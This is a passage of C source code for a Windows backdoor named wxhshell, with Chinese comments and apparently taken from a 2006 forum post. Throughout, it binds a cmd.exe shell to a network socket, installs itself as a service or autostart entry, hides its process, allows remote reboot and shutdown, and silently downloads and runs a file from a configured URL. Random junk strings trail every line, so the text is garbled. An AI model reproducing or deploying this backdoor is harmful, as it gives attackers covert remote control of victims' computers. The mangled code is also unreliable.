  -SN6&-#c_  
  // 帮助 YK%rTbB(  
  case '?': { ,WQg.neOA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WWG+0jQ9  
    break; xvTz|Y  
  } M}x]\#MMY  
  // 安装 N Nw0 G&  
  case 'i': { <db>~@;X!  
    if(Install()) LGT?/ gup  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lf+"Gp  
    else *:V+whBY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *^[j6  
    break; 4rrR;V"}  
    } G- eSHv  
  // 卸载 6 U_P  
  case 'r': { "WZ|   
    if(Uninstall()) ,yH\nqEz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @^Yr=d ba  
    else z#^;'nnw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :s>x~t8g#n  
    break; x4-_K%  
    } y7| 3]>Z  
  // 显示 wxhshell 所在路径 52t6_!y+V  
  case 'p': { lb\VQZp!y  
    char svExeFile[MAX_PATH]; /_</m?&.U&  
    strcpy(svExeFile,"\n\r"); ~}RfepM  
      strcat(svExeFile,ExeFile); ~Xz?H=}U+  
        send(wsh,svExeFile,strlen(svExeFile),0); -Pc6W9$  
    break; qylI/,y{  
    } 3@\J#mR  
  // 重启 U X%J?;g  
  case 'b': { P7\?WN$p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xQkvK=~$  
    if(Boot(REBOOT)) K/M2L&C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dvm[W),(k  
    else { :B:6ezDF6  
    closesocket(wsh); `G`y A%  
    ExitThread(0); GQ2/3kt  
    } nXw98;  
    break; u(i=-PN_<  
    } g cb6*@u!  
  // 关机 5i+cjT2  
  case 'd': { n j2=}6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?NR&3 q  
    if(Boot(SHUTDOWN)) 0ZJj5<U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;Vpp1mk|  
    else { iFnD`l 6)  
    closesocket(wsh); P1ak>T *#2  
    ExitThread(0); es<8"CcP  
    } |Wr$5r  
    break; psUT2  
    } sE&1ZJ]7  
  // 获取shell )Z)Gb~G  
  case 's': { ["[v  
    CmdShell(wsh); @qEUp7W.?  
    closesocket(wsh); p>B-Ubu  
    ExitThread(0); ")<5 VtV  
    break; FLX n%/  
  } inh J|pe"  
  // 退出 OrwVRqW-z  
  case 'x': { sou~m,#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Jv}&8D  
    CloseIt(wsh); RL3*fRlb  
    break; -iKoQkHt  
    } yD#(Iw  
  // 离开 S=\cF,Zs  
  case 'q': { t YxN^VqU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fUr%@&~l^  
    closesocket(wsh); &gKDw!al  
    WSACleanup(); v3]5`&3~  
    exit(1); L9-Jwy2(>  
    break; @JGFG+J}  
        } /l_u $"  
  } ] E:NmBN<  
  } Jy\0y[f*  
%z=:P{0UQ  
  // 提示信息 V~p01f"J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `mA;1S  
} *<X1M~p$  
  } hz*T"HJ]t  
z%#-2&i  
  return; fp*6Dv_  
} 3!$+N\ #w  
F]D{[dBf  
// shell模块句柄 h3-^RE5\`S  
int CmdShell(SOCKET sock) RMiDV^.u`  
{ }xBDyr63  
STARTUPINFO si; _QEw=*.<  
ZeroMemory(&si,sizeof(si)); 0N~kq-6.\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6 Ia HaV+P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M[~{!0Uz g  
PROCESS_INFORMATION ProcessInfo; a"X h  
char cmdline[]="cmd"; {@F'BB\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Il Qk W<  
  return 0; Cf9{lhE8  
}  %S%IW  
c BZ,"kp-  
// 自身启动模式 n}_}#(a  
int StartFromService(void) *hru);OJr  
{ -fXQ62:S  
typedef struct /# ]eVD  
{ g'b|[ q  
  DWORD ExitStatus; AH:uG#  
  DWORD PebBaseAddress; R?{xs  
  DWORD AffinityMask; "[!b5f3!I  
  DWORD BasePriority; &l3(+4Sh  
  ULONG UniqueProcessId; LRts W(A/  
  ULONG InheritedFromUniqueProcessId; CgmAxcK  
}   PROCESS_BASIC_INFORMATION; oKsArZG  
n1{[CCee@  
PROCNTQSIP NtQueryInformationProcess; ,h*N9}xYTi  
=\|,hg)c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0FtwDM))  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "~0`4lo:Xo  
/AAD Fa  
  HANDLE             hProcess; +Wg/ O -  
  PROCESS_BASIC_INFORMATION pbi; ?tL'  X  
`-.2Z 0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `WN80d\)&  
  if(NULL == hInst ) return 0; Y(bB7tR  
RrvC}9ar  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vj9X6u}{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bsDA&~)s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;b*qunJ3L  
&>C+5`bg  
  if (!NtQueryInformationProcess) return 0; 5{k,/Z[L  
xi(1H1KN5B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $] "M`h  
  if(!hProcess) return 0; `DF49YP"~  
,AweHUEn  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J)Y`G4l2@  
\.}T_,I  
  CloseHandle(hProcess); F`m}RL]g  
%L*EB;nK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !e$ZOYe  
if(hProcess==NULL) return 0; ;W|NG3_y  
'z5jnI  
HMODULE hMod; =DJ:LmK  
char procName[255]; G~8BND[."  
unsigned long cbNeeded; 0(wu  
QF/_?Tm4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); j=irx5:  
XJ\R'?j  
  CloseHandle(hProcess); ?&#LmeZ}K  
rhbz|Uq  
if(strstr(procName,"services")) return 1; // 以服务启动 nK :YbLdK,  
s{Qae=$Q  
  return 0; // 注册表启动 dT*Yv`h  
} 6wh PW .  
T,/rC{  
// 主模块 7/IL" D  
int StartWxhshell(LPSTR lpCmdLine) @!fUp b  
{ O|,9EOrP  
  SOCKET wsl; / S]RP>cQ  
BOOL val=TRUE; ")No t$8  
  int port=0; ,~naKd.ZY  
  struct sockaddr_in door; F]yB=  
PiKP.  
  if(wscfg.ws_autoins) Install(); s6 g"uF>k  
aNEah  
port=atoi(lpCmdLine); c EYHB1*cT  
vd[7Pxe  
if(port<=0) port=wscfg.ws_port; AhN3~/u%7  
I;t@wbY,  
  WSADATA data; X?'cl]1?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CVa>5 vt  
ad: qOm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]@Zv94Z(  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B>L7UQ6_[  
  door.sin_family = AF_INET; D8wf`RUt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sk|e#{  
  door.sin_port = htons(port); tRdf:F\X  
x8rg/y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {oqbV#/&  
closesocket(wsl); {h+8^   
return 1; +Umsr  
} <l5i%?  
qS+;u`s  
  if(listen(wsl,2) == INVALID_SOCKET) { ~-zTY&c_  
closesocket(wsl); "sN%S's  
return 1; w1)TnGT  
} ?.VKVTX^  
  Wxhshell(wsl); X 61|:E  
  WSACleanup(); M(I%y0  
U*r54AyP  
return 0; (kLaXayn  
$z%(He  
} {1Ra |,;  
OS,!`8cw  
// 以NT服务方式启动 src9EeiV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "@nH;Xlq  
{ g3$'G hf  
DWORD   status = 0; j hm3:;Z  
  DWORD   specificError = 0xfffffff; z{L'7  
_Z0 .c@0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Nbpn"*L,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9!_,A d;3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1nAm\/&  
  serviceStatus.dwWin32ExitCode     = 0; ?wB_fDb}  
  serviceStatus.dwServiceSpecificExitCode = 0; 2&4nf/sE  
  serviceStatus.dwCheckPoint       = 0; Uqel UL}  
  serviceStatus.dwWaitHint       = 0; 3<^Up1CaZ  
RK!9(^Ja  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); U4!KO;Jc  
  if (hServiceStatusHandle==0) return; h vYRAQR:  
0*XsAz1,9  
status = GetLastError(); F\D iT|?}  
  if (status!=NO_ERROR) 0/su`  
{ sG u.G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |jiIx5qr  
    serviceStatus.dwCheckPoint       = 0; ~!Nj DDk  
    serviceStatus.dwWaitHint       = 0; \}jA1oy  
    serviceStatus.dwWin32ExitCode     = status; 6'^E ],:b  
    serviceStatus.dwServiceSpecificExitCode = specificError; (fF8)4l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +c~&o83[  
    return; \t!~s^Oox  
  } w#b@6d  
#'Y lO -C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M3jUnp&  
  serviceStatus.dwCheckPoint       = 0; %'iJVFF  
  serviceStatus.dwWaitHint       = 0; @ual+=L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,'s }g,L  
} R&Lqaek&W  
9A"s7iJ)  
// 处理NT服务事件,比如:启动、停止 9 -pt}U  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !_ W/p`Tc  
{ G3DgB!  
switch(fdwControl) 3>h2 W  
{ I}_}VSG(  
case SERVICE_CONTROL_STOP: 60~;UBm5O  
  serviceStatus.dwWin32ExitCode = 0; E y:68yU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'f<N7%eZ  
  serviceStatus.dwCheckPoint   = 0; "-=fi 'D  
  serviceStatus.dwWaitHint     = 0; $2a"Ec!7  
  { +.!D>U$)}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |]9@JdmV  
  } 6M >@DRZ'|  
  return; VL*KBJ  
case SERVICE_CONTROL_PAUSE: 1 sHjM %  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /JS_gr@DK  
  break; :K6JrS  
case SERVICE_CONTROL_CONTINUE: HV~Fe!J_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yJI~{VmU7  
  break; iN&oSpQ  
case SERVICE_CONTROL_INTERROGATE: ^sf,mM~D  
  break; F@?-^ E@  
}; s`$}xukT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  tKV,  
} D&):2F^9.  
Z[nHo'  
// 标准应用程序主函数 -Rpra0o. C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [OCjYC`  
{ 7W)W9=&BT  
86=W}eV1r  
// 获取操作系统版本 %&6Q Uv^  
OsIsNt=GetOsVer(); z,aMbgt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2K9X (th1  
bny5e:= d  
  // 从命令行安装 ^s{Ff+]W  
  if(strpbrk(lpCmdLine,"iI")) Install(); +mWf$+w  
c]{}|2u  
  // 下载执行文件 "OenYiz  
if(wscfg.ws_downexe) { wY<s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C][$0  
  WinExec(wscfg.ws_filenam,SW_HIDE); t1w]L  
} 6bPxEILm  
7Y8~ ")f  
if(!OsIsNt) { |#_p0yPy  
// 如果时win9x,隐藏进程并且设置为注册表启动 fn,n'E]  
HideProc(); 23tX"e  
StartWxhshell(lpCmdLine); zpwoK&T+  
} q KD  
else m#UQ,EM  
  if(StartFromService()) A1prYD  
  // 以服务方式启动 4J5zSTw  
  StartServiceCtrlDispatcher(DispatchTable); f 0H.$UAL  
else !MKecRG_  
  // 普通方式启动 7Vy_Cec1  
  StartWxhshell(lpCmdLine); N)"8CvQL  
@/:4beh  
return 0; Ca'BE#q  
}
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只看该作者 1 发表于: 2006-10-10
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